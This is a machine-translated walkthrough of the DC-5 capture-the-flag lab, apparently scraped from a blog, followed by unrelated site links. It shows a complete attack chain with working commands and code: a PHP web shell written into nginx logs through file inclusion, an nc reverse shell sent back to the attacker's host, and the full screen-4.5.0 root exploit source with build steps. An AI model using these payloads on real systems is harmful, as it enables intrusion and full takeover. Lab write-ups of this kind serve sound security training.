当前位置:网站首页>DC-5 target
DC-5 target
2022-07-04 12:39:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
ifconfig
Find the host IP
Sweep a wave Intranet , Detect the surviving host
nmap 192.168.61.0/24
Use nmap Tool pair DC-5 The target machine scans the open port
nmap -A -T4 192.168.61.133 -p- -oN nmap133.A
( halfway IP Changed to 192.168.61.134)
It's open 80,111,39542
Open the displayed IP Address
stay concat Fill in the information in the interface , Will jump to the page , yes GET The ginseng
Refresh repeatedly and you will find that the time changes , Guess the page has a file containing (?)
And then use burp Blast page ( The imperial sword cannot be swept out )
altogether 7 individual
footer You can see this , Confirm that this is the containing interface
Use BurpSuite The variable name contained in the blasting file , And backstage passwd File exists in
Variable name :file,passwd file location :/etc/passwd
Check the log storage location :
Law 1 :
Use BurpSuite Location of the log file of the bag grabbing blasting target , The blast was successful
/var/log/nginx/error.log
/var/log/nginx/access.log
Law two :
file==/etc/nginx/nginx.conf
<?php system($_GET['test']);?>
Use BurpSuite Modify packet data , Write a word Trojan , Open the log file to see the successful writing
Use a one sentence Trojan horse to execute commands
/var/log/nginx/error.log&test=ls
stay kali monitor
netcat -l -p 4444
file=/var/log/nginx/error.log&test=nc+192.168.61.129+4444+-e+/bin/bash
then
python -c 'import pty;pty.spawn("/bin/sh")'
Search permissions
find / -perm /4000 2>/dev/null
Simply speaking : seek 4000 Permission file , Not displaying other error messages is equivalent to filtering .
screen-4.5.0: Command line terminal switching software , It connects several local or remote command-line conversations at the same time , It can be used as a power raising point
View vulnerabilities
Extract the file
cp /usr/share/exploitdb/exploits/linux/local/41154.sh screen_450.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.sh screen_450.txt
Open file
cat screen_450.txt
cat screen_450.sh
Save the code to /tmp Next
Save as
rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
And then put rootshell.c Translate it into rootshell
gcc -o /tmp/rootshell /tmp/rootshell.c
hold libhax.c Translate it into libhax.so
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
First, libhax.so
In the virtual machine
nc -lvvp 4444 < libhax.so
On the target plane
nc 192.168.61.129 4444 > libhax.so
Then on the host ctrl+c End
And then there was rootshell
In the virtual machine
nc -lvvp 4444 < rootshell
On the target plane
nc 192.168.61.129 4444 > rootshell
Check on the target , You can see the success of the incoming
Then carry out a series of right raising steps
( There are steps in the previous vulnerability information )
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
Then you get root Yes (whoami see )
cd /root
ls
cat thisistheflag.txt
边栏推荐
- Flet教程之 按钮控件 ElevatedButton入门(教程含源码)
- C language: find the length of string
- Star leap plan | new projects are continuously being recruited! MSR Asia MSR Redmond joint research program invites you to apply!
- Tableau makes data summary after linking the database, and summary exceptions occasionally occur.
- Unity performance optimization reading notes - explore performance issues -profiler (2.1)
- Abnormal mode of ARM processor
- Awk getting started to proficient series - awk quick start
- Googgle guava ImmutableCollections
- R语言--readr包读写数据
- Entity framework calls Max on null on records - Entity Framework calling Max on null on records
猜你喜欢
Introduction to random and threadlocalrandom analysis
Star leap plan | new projects are continuously being recruited! MSR Asia MSR Redmond joint research program invites you to apply!
Entitas learning [iv] other common knowledge points
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 16
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 24
MySQL advanced review
When synchronized encounters this thing, there is a big hole, pay attention!
Azure solution: how can third-party tools call azure blob storage to store data?
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 15
Abnormal mode of ARM processor
随机推荐
Unity performance optimization reading notes - explore performance issues -profiler (2.1)
[Yu Yue education] 233 pre school children's language education reference questions in the spring of 2019 of the National Open University
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 9
VIM, another program may be editing the same file If this is the solution of the case
MySQL advanced (Advanced) SQL statement
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 15
[Android reverse] function interception instance (③ refresh CPU cache | ④ process interception function | ⑤ return specific results)
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 19
How to judge the advantages and disadvantages of low code products in the market?
Xshell's ssh server rejected the password, failed to skip publickey authentication, and did not register with the server
MYCAT middleware installation and use
Review of week 278 of leetcode II
C语言:求字符串的长度
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 16
Classification and application of AI chips
MySQL advanced review
0x15 string
How to use the mongodb ID array to get multiple documents- How to get multiple document using array of MongoDb id?
Method of setting default items in C # ComboBox control code
ArgMiner:一个用于对论点挖掘数据集进行处理、增强、训练和推理的 PyTorch 的包